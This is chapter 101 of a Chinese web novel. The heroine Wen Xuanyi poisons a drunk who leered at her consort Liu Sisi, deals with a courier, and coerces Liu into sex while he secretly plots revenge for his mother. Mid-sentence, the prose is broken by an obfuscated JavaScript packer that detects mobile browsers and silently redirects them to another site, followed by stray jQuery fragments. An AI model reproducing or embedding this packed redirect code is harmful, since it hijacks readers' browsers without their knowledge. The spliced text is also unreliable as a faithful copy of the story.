101.妻主,别离开
作品:《前夫哥变成落魄小伴读》 霖城,日头高悬。
柳丝丝做好了饭,解下身上围裙进了主屋。这是个一进的四合院,自从跟着温轩仪来到霖城后便住在了这儿,院子不大,从厨房走到主屋也才几步路。
本来洗衣做饭这种事都交由仆役来做,按照温轩仪的意思,他身为她的小侍,怎么能做这种粗活?会给她丢颜面的。
丢颜面么……
柳丝丝坐在床榻上,从枕头底下摸出一把匕首,冷嗤一声,“想要维护这一切?我偏不如你的愿。”
“丝丝!”门外突然响起脚步声,温轩仪快步走了进来,柳丝丝连忙把匕首藏好,侧身躺在床上假寐。
温轩仪走近坐下,闻到他身上的油烟味后登时皱起了眉,“丝丝,你又做饭了?”
柳丝丝睁开眼,抿唇点头,“昨日妻主吃不下,想是饭菜做的不可口,我想着妻主最爱吃我的做的菜,就亲自下厨做了点。”
温轩仪神色稍霁,也没解释为什么昨日吃不下,只是道:“罢了,今日我们出去吃,你起来换身衣服。”
“出去吃?”柳丝丝想要起身又躺了回去,眼眸微垂,“可是我有些累了不想动。”
柳丝丝平日里对温轩仪百依百顺,乍然不听她的话,反倒让温轩仪觉得有些奇怪。面对她审视的眼神,柳丝丝心跳到了嗓子眼,急忙道:“我是觉得饭菜都做好了,不吃实在浪费……”
温轩仪从小金尊玉贵,众星捧月地长大,“节省”和“浪费”这几个字在从前她听都没听过,可如今在霖城俸禄微薄,日子大不如从前。她虽没说,柳丝丝倒是处处记得,各种小心节省。温轩仪每每看见了心里不舒坦,但也没拦着,只是不许柳丝丝在她面前提起。
一提起就觉得戳得心窝子疼。
可今日柳丝丝不但不听话,擅自做了饭,还故意在她面前说。温轩仪目光沉了沉,刚想斥责,就瞧见柳丝丝眼底泛起的水花,思及缘由还是咽了回去。
是她非要带着柳丝丝来过这种苦日子的,柳丝丝归根到底也是为她着想,不能怪他。
“罢了,一顿饭菜而已,不妨事,今日不同,我有事要办,不可耽搁了,快起来换衣服。”
柳丝丝想说让温轩仪独自去便好,可温轩仪没给他机会,坐在一旁的椅子上,双手撑膝盯着他,柳丝丝被看得心里发怵,只能坐起来,快速到衣柜里找出一件干净的、熏过香的衣服穿上。
温轩仪闻到他身上的熏香,是她喜欢的味道,才满意地点点头,“走吧。”
两人来到一家酒肆,正值正午,大堂中已挤满了人,霖城的酒肆不大,没有二楼雅间。按照往常,温轩仪喜欢找个角落坐着,可今日却不同,寻了个中间的位置就坐下了,对着小二招手。
“客官,您吃点什么?”
温轩仪看她一眼,不紧不慢倒了杯水给柳丝丝,“来几样招牌菜。”
“哎,好嘞。”小二眼睛眯成一条缝,不多时便上齐了菜,最后一道菜上来时,小二手托着盘子底下,像是藏了什么。
待她走后,温轩仪拿出压在盘子下面的纸条,“后院见。”
“我去更衣,你在这儿等我。”温轩仪站起身,叮嘱柳丝丝。
柳丝丝乖巧点头,安静目送她离去。
堂中人多,邻桌之间过道狭窄,温轩仪小心走着,迎面过来一个壮妇,喝了酒有些醉醺醺的,温轩仪有意避开她,却还是被她撞了下肩膀,踉跄后退一步,没等到她发作,就听着壮妇率先开口:“你长没长眼啊,这么宽的道也能撞到我?”
一嗓子吼完,她又定睛细看两眼,瞧着温轩仪一身长袍,通身矜贵气质,猛地换副面孔陪笑起来,“对不住对不住,我眼瞎,您请。”
小县城不同京城,凡是打扮得人模狗样的人都得罪不得。
温轩仪嫌恶地拂了拂肩膀,一言不发地走了。
来到后院,院中空无一人,温轩仪吹了声口哨,暗中走出一个人影。玉林从怀中拿出一封信交给她。
因着玉林身份特殊,进入霖城之前,温轩仪便让玉林隐瞒了身份,好随时听她差遣。上个月她便让玉林带消息给温静雅,问何时才能让她回京,这次见玉林回来,迫不及待地拆开信件,一目十行看完后,脸上的笑意渐渐消失了。
“大小姐的意思是,只要您能照她说的做……这件事过后,她必然会向圣上请旨,让您归京。”
“知道了。”温轩仪悻悻然地把信塞给玉林,示意她处理掉,随后便转身回去了。
堂中喧嚣依旧,可大家都是坐着的,若有人站着则一眼便能瞧见,尤其是身形健硕的壮妇,正对着柳丝丝挤眉弄眼,咸猪手搭在桌沿几乎要按捺不住,眼瞧着就要搭上柳丝丝的肩,温轩仪脚步不自觉加快,上前一把握住壮妇的手腕,眼底的冷意能化成利剑把壮妇戳成筛子。
“这位仁兄是想对我家丝丝做什么?”
壮妇是借着酒意,色向胆边生,没料到温轩仪会这么快回来,更不知道柳丝丝和温轩仪的关系,如今被抓个正着,又羞又愤,梗着脖子抽回手,“我干什么了?我就是和他说说话而已……他一声不吭的,还以为是个哑巴呢,哼。”
许是觉得理亏,也不和温轩仪继续纠缠,嘀嘀咕咕地走到角落里坐下了。
温轩仪垂眸看向柳丝丝,只见他憋得眼眶通红,还死死咬着唇一言不发。他就是这样,受了委屈从来都不肯言说的。温轩仪莫名觉得心里也有些憋闷,是一种她从未体验过的酸胀感,抬手揉了揉他的脸,声音轻柔得连她自己都没意识到:“没事了,妻主在。”
柳丝丝顺势靠进她怀里,怯声道:“妻主,我好怕,你别离开,别丢下丝丝一个人。”
温轩仪眉目柔和下来,本来就心情不好,再出了这档子事,看向壮妇的眼里带着杀气。
“乖,先吃饭。”温轩仪扶正他,把碗筷塞进他手里,之后从怀中摸出一包东西,慢条斯理地倒进一杯酒里。
柳丝丝就这么看着她操作,心中咯噔一跳,方才的委屈憋闷一消而散,埋头专心吃饭,不敢多看一眼。
温轩仪倒好了两杯酒,端起来走向角落里的壮妇,嘴角噙笑,端的是一副温文尔雅,三两句话化解恩怨,“方才是我误会了,区区薄酒,不成敬意,还望兄台海涵,饮罢此杯。”
壮妇只是个粗人,况且本就是她不对,温轩仪还主动赔罪,心中羞愧不已,“什么都不说了,都在酒里!”
话落,一饮而尽。又从壶中倒了新酒,说了一番豪情万丈的话,笑得憨厚,“仁兄,你是个好人,我敬你一杯,往后便是朋友了。”
温轩仪始终保持着温和的姿态,偶尔点点头,余光一直盯着柳丝丝,见他差不多把碗里的饭吃完了,才站起身告辞。
壮妇头脑已有些发晕,但还是热情相送。
“吃饱了吗?”温轩仪揉着柳丝丝的脑袋,关怀道。
柳丝丝点头,睫毛颤得飞快,转头瞟了眼身后的壮妇,想说什么,却被温轩仪扳了过来,揽着他的肩往外走,眼底泛着冰冷,“别管她。”
身后,壮妇嘿笑地看向门口的两个人影,忽地口吐白沫,眼前天旋地转,失重倒在了地上,发出一声巨响,引得堂内众人顿时惊慌起来。
“这这……死人了!死人了!!!”
“快叫郎中!!”
许多人被吓得一哄而散,纷纷往外蹿。温轩仪带着柳丝丝混进人群中,拐进小巷,抄近路回住处了。
温轩仪还有公务要忙,柳丝丝则独自回了卧房。惊魂未定地坐在床榻上,心跳得极快。
他早知道温轩仪是个什么样的人,可是当亲眼看到那个壮妇倒下时,惊涛骇浪般的恐惧瞬间将他淹没。在温轩仪面前,他不敢表现出来,只能极力压制,如今一松懈,全身止不住颤抖起来。
温轩仪视人命如草芥,能毫不顾忌地夺走旁人的生命,包括他的母亲。
心脏早已揪成了一团,柳丝丝捂着颤痛的心口蜷缩在床榻上,泪水滚滚落下,逐渐打湿了枕巾,伸手摸向枕下的匕首,才能稍稍感受到一丝心安。
光影在屋内渐渐偏移,温轩仪处理完繁琐又无聊的公务后,侍女忽然凑近低声说道:“小姐,外头有人找您,来人叫钱武,拿着大小姐的意思,托您办事。”
温轩仪目光微沉,“知道了。”
钱武在道上摸爬滚打多年,一发现有人跟着就心里犯嘀咕,温静雅又告诉她最近不太平,务必谨慎行事,遇到麻烦可以找温轩仪。她在心里盘算一番,从霖城绕路要远一些,一路上的吃食免不了要多花银钱,不过有温轩仪在,大户人家,也就是手指头缝里漏点的事儿。
于是,她满脸恭维地笑道:“大人……”
话音未落,温轩仪便一个眼刀甩了过来,钱武意识到自己说错了话,连忙改口,“娘子,本不想求你,可这次不知为何,像是被人盯上了,无可奈何只能绕路霖城,只是……这路上多的花销……”
原来是来讨钱的。
温轩仪表情不耐,“你先垫付一些,进京后再问她要便是。”
“这……”事情发展和想象中不一样,钱武暗自打量了温轩仪一眼,见她身上穿着素袍,连腰间的玉佩也不是什么上好的成色,唯有头上的玉冠尚可入眼。
一看就没什么钱。怎么说也是个官儿,如今落魄至此,还怎么接济她?
钱武腰板挺直了些,语气里也少了方才的恭维劲儿,“干我们这行的,从来没有先垫付一说,娘子若是不肯给,那这事儿我也办不了,京城那边要是说什么,娘子就自行回复吧。”
“……”空气静默下去。
温轩仪心中暗忖,如今她能不能顺利回京全靠着温静雅,钱武又滑不溜秋不好拿捏,若是真不干了,温静雅那边不好交代,回京也就遥遥无期了。
掂量了一下所剩不多的余钱,拿出一半交给钱武,“这么多够了吧?”
钱武接过银钱,立马嘿笑起来,“够够,娘子慷慨。”
她就说好歹是大户人家出身,怎么可能没钱?
温轩仪不放心她,转头叫出玉林,“这是我的心腹,此次进京有要事要办,便同你们一路上京吧。”
钱武瞥了要一身劲装的玉林,瞧着就是行家。知道温轩仪这是派人盯着她,心里有些不愿,但转念想有玉林护送,一路上行路也方便些。
月明星稀,温轩仪回到住处的时候,柳丝丝已经睡了,只有烛火还亮着。按照往常,每回温轩仪回来晚了,柳丝丝都留灯等她,今日却不知为何先睡了。
温轩仪瞟了眼背对着她睡的单薄身影,没说什么,默默脱了外袍,简单收拾一下,熄灯上床躺在他身侧。
可她却睡不着,一闭眼就想起白日壮妇那令人作呕的眼神。她的丝丝被人觊觎了,还是一个卑劣不堪的粗人。
心中莫名蹿起怒火,抬手把柳丝丝捞进怀里,捏着他的下巴,没好气地吻了下去。手上动作也没停,不一会儿,柳丝丝的里衣被扯开了一半,强势的动作把柳丝丝从梦中拽醒。
“唔……妻主……”柳丝丝推了推,却没推开。
温轩仪经常发疯似地吻他、揉捏他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216743|191062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他早就习惯了,可今日这般疯癫的模样他还是第一次见。
唇齿摩挲间,柔软的唇瓣被磨破,渗出腥甜的血腥味,柳丝丝分不清是谁的,只想躲开,温轩仪却不让,掌心牢牢掌控着他的脖颈,每一寸领地都被她占为己有,每一处空隙都深深烙印着她的痕迹。
“丝丝……”耳鬓厮磨间,柳丝丝听见温轩仪在叫他,一声又一声,裹挟着意识逐渐交缠在一起,汗水在温热中蒸发、交融,在沉寂的夜中起伏……
柳丝丝眼中翻滚出滚烫的泪水,模糊的视线里映出她的轮廓,颤声喊了一句,“妻主……”
温轩仪拢了拢柳丝丝被汗水打湿的头发,俯身亲吻他,低声应道:“我在。”
朦胧的意志猛地被惊醒,柳丝丝浑身一颤,随即咬唇偏开了头。
这是温轩仪,是他的杀母仇人,不是他的妻主……
温轩仪捏着他的下巴将他扳回来,奇怪道:“丝丝,为何每次你都要哭?我弄疼你了?”
从前她是喜欢看柳丝丝哭的,因为哭起来像温芝芝,她见不得温芝芝哭,只好折腾柳丝丝。可是现在不知道为什么,听不得他哭,一听就觉得心里莫名烦躁,那眼泪滴答滴答的就像在细数她的罪行。她自问比起在京城时,已经很小心了,从前那样放肆也没见柳丝丝哭成这样。
到底要她怎么做?
柳丝丝摇头,眼中的泪顺着眼角滑落,双手环住温轩仪的脖颈,缓缓收紧,贴近……贴近……直到两人之间最后一丝缝隙也不留,鼓动的胸腔紧紧贴着,此起彼伏,剧烈的颤痛压得他快要喘不过气,极力压着哭腔道:“我害怕,妻主别离开……”
“害怕什么?”温轩仪摸不清他心中千回百转的思绪,闹腾一番觉得有些累了,等了会儿没听到他的回应,也没精力细问,拉过被褥盖上,自顾自劝道:“好了,别想太多,睡吧。”
氤氲的缱绻温情慢慢散去,余下的是彻骨的冰凉。温轩仪正对着柳丝丝侧躺,许是真的累了,此刻睡得安稳。几缕发丝垂在脸颊上,遮挡住了她温润似玉的面庞。
柳丝丝伸手缓缓拨开,心中冒出一个贪婪又自私的念头:如果他可以忘却一切,只做温轩仪的柳丝丝该多好……
或许有另一种可能,温轩仪并没有杀他的母亲呢?
思及此处,柳丝丝猛地攥紧指尖,狠狠抽了自己一巴掌。
没有如果,亦没有可能!温轩仪杀人如麻,心狠手辣,挡她路的人没有一个好下场。怎么可能会为了他生出一丝恻隐之心?
柳丝丝咬紧牙关,眼中恨意渐生,把头埋进被褥里不再看她。
意识旋转间,他缓缓摸向了枕下的刀,趁温轩仪不备,含泪狠狠朝着她的心口刺去。温轩仪闷哼一声,刺目的鲜血染红了衣衫,随即喷出一口血来,不可置信地看着他,“丝丝……”
锥心的痛袭遍全身,柳丝丝猛地睁开眼坐起,额头冒出硕大的汗珠,手指摸到枕下的匕首,冰冷的触感传来,紧绷的弦松懈一分。转头看向身边熟睡的人,不由得生出一丝侥幸,是梦。
原来是梦……竟然是梦?怎么是梦?为何是梦……
柳丝丝指甲扣进膝盖,失声哭噎起来,尽管拼命控制,但还是吵醒了温轩仪。
“怎么了?”温轩仪慵懒不耐的声音在夜里响起。
柳丝丝霎时止住哭声,狂摇脑袋。
温轩仪闭着眼睛,没听到回答,也没等到柳丝丝躺下来继续睡,有些无奈地叹了口气,坐了起来,伸手摸了摸柳丝丝的脸,一手的湿意,耐着性子问:“到底怎么了?有什么不满你说啊,是觉得跟着我受苦了是吗?”
“不……不是……”柳丝丝捂着脸哽咽,银针卡在喉咙,吞咽间都是剧痛。
“好了。”温轩仪又叹了口气,把想发作的心按了下去,伸手将人揽进怀里,轻轻拍着后背,清瘦的脊背有些硌手,她动作一顿。明明是好吃好喝地对待柳丝丝,也没苛待他,为什么他还是这么瘦?
但转念一想,柳丝丝好像一直都是这样,从他入府到现在似乎从未变过。
“可是梦魇了?”柳丝丝一直乖顺,她思来想去也只想到这一种可能。
柳丝丝趴在她怀里,闻言点点头,也没说话,温轩仪感受到她胸前的衣襟传来一片温热。
他不睡,她也没法睡。温轩仪调整坐姿,把人往怀里拢了拢,忽而轻声吟唱起来:“柳儿摇,月儿笑,花渡水中桥,映出美人腰……”
歌声婉转悠扬,在夜色中缓缓流淌。柳丝丝身形一僵,眼睫的泪滴落下来。
这首歌谣是温轩仪初见他时为他作的,她只在他伤心时唱过一次,后来不管他哭得多厉害,她都没再唱过。如今却用同样的方式来哄他。
为什么偏偏是现在,为什么偏偏是这首歌谣,为什么偏偏是温轩仪……
拽着温轩仪衣襟的手紧紧揪起,喉间的哭声再也抑制不住,脸埋在温轩仪的颈窝,将她的衣衫彻底打湿。
温轩仪没想到越哄,他还哭得越凶了,思索过后只怪自己纵容太多,让柳丝丝越发放肆了。眼中升起不悦,声音都带了点愠怒,“丝丝,我真的累了。”
警告的意味十分明显,柳丝丝的哭声戛然而止,揪着她衣衫的手缓缓松开,懂事地擦干净眼泪、躺好、睡觉。
动作一气呵成,温轩仪沉默地观察了他一会儿,确定他不再闹腾后,按了按胸口褶皱的地方,躺下并肩而眠。
片刻后,她忽然开口,“下次不许这样了。”
月光被云层彻底吞噬,徒留一片深沉、静默的夜。

